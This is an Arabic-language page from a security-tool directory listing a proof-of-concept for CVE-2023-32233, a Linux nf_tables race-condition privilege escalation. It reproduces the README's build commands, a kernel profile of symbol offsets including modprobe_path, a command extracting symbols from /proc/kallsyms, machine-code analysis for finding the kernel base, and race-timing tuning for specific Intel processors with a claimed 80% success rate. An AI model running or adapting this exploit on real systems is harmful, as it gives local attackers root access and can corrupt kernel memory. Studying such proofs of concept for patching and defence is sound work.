Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-32233 — للاستخدام الشخصي، مؤلف POC هو Piotr Krysiuk، يرجى قراءة README.md قبل الاستخدام. | Kitploit
أدوات/GitHubGitHub/pidan-heidashuai/cve-2023-32233
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقاستغلال الملفات الثنائية
GitHubpidan-heidashuai/cve-2023-32233

CVE-2023-32233

للاستخدام الشخصي، مؤلف POC هو Piotr Krysiuk، يرجى قراءة README.md قبل الاستخدام.

عرض المستودع
332منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

البناء والتكوين

تم اختبار التعليمات أدناه على Ubuntu 23.04 (Lunar Lobster).

تثبيت تبعيات البناء

قم بتشغيل الأمر التالي لتثبيت تبعيات البناء:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

بناء الثنائي

قم بتشغيل الأمر التالي لبناء الثنائي للإثبات (PoC):

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

تحديث الملف الشخصي (Profile)

يحتوي الملف الشخصي المضمن على معلمات خاصة بنواة Linux الموزعة في شكل ثنائي كالحزم التالية من Ubuntu 23.04 (Lunar Lobster):

  • "linux-image-6.2.0-20-generic"، الإصدار "6.2.0-20.20"، و
  • "linux-modules-6.2.0-20-generic"، الإصدار "6.2.0-20.20".

يبدو الملف الشخصي المضمن على النحو التالي:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

رموز النواة

خطوات اختيارية لتجاوز الملف الشخصي المضمن عند الاختبار مع أنوية Linux أخرى:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

رمز الآلة

للعثور على قاعدة النواة، نقوم بفحص صورة nf_tables.ko في ذاكرة النواة. وبالتحديد، نقوم بتحليل رمز الآلة للتابع nft_counter_destroy(). هذا يعني أن طريقتنا حساسة لـ المترجم بالإضافة إلى خيارات التجميع. ومع ذلك، يمكن معالجة جميع الحالات المعتادة عن طريق تجاوز الملف الشخصي المضمن.

على سبيل المثال، قد يبدو رمز الآلة للتابع nft_counter_destroy() كما يلي:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

في الحالة أعلاه، يمكننا تحديد بعض المعلمات عن طريق إضافة الأسطر الثلاثة أدناه إلى ملف الإعدادات "profile".

أولاً، نعيد تعريف إزاحة الكلمة المزدوجة (dword) التي تسبق إزاحة free_percpu:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

حيث تم حساب القيمة 5 باستخدام التعبير (1e31d - 1e310) - 8.

كتحقق من الصحة، نتحقق بعد ذلك من الكلمة المزدوجة عند الإزاحة أعلاه باستخدام القناع التالي:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

متوقعين القيمة التالية:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

ضبط السباق

يتطلب استغلال الثغرة الفوز في سباق مع خيط العامل الخلفي التابعة لنواة Linux. تم ضبط الملف الشخصي المضمن لتعظيم فرصة الفوز في هذا السباق على مجموعة واسعة من معالجات Intel بما في ذلك mobile Sandy Bridge و desktop Comet Lake. ومع ذلك، تتطلب بعض المعالجات ضبطًا إضافيًا. على سبيل المثال، لاحظنا زيادة في زمن الانتقال لتبديل المهام في Alder Lake في بعض الإعدادات، حيث قد يكون من الضروري إضافة السطر التالي إلى ملف "profile":

root@kitploit:~
400                 race_lead_sleep

قمنا بقياس احتمالية 80% أو أفضل لاستغلال الثغرة بنجاح في اختباراتنا التي استخدمت أنظمة مخصصة خاملة.

توصيات الاختبار

بمجرد بدء تشغيل الإثبات (PoC) على نظام ضعيف، قد يترك النظام في حالة غير مستقرة مع ذاكرة نواة تالفة. نوصي بشدة باختبار الإثبات على نظام مخصص لتجنب تلف البيانات المحتمل.

تنزيل الأداة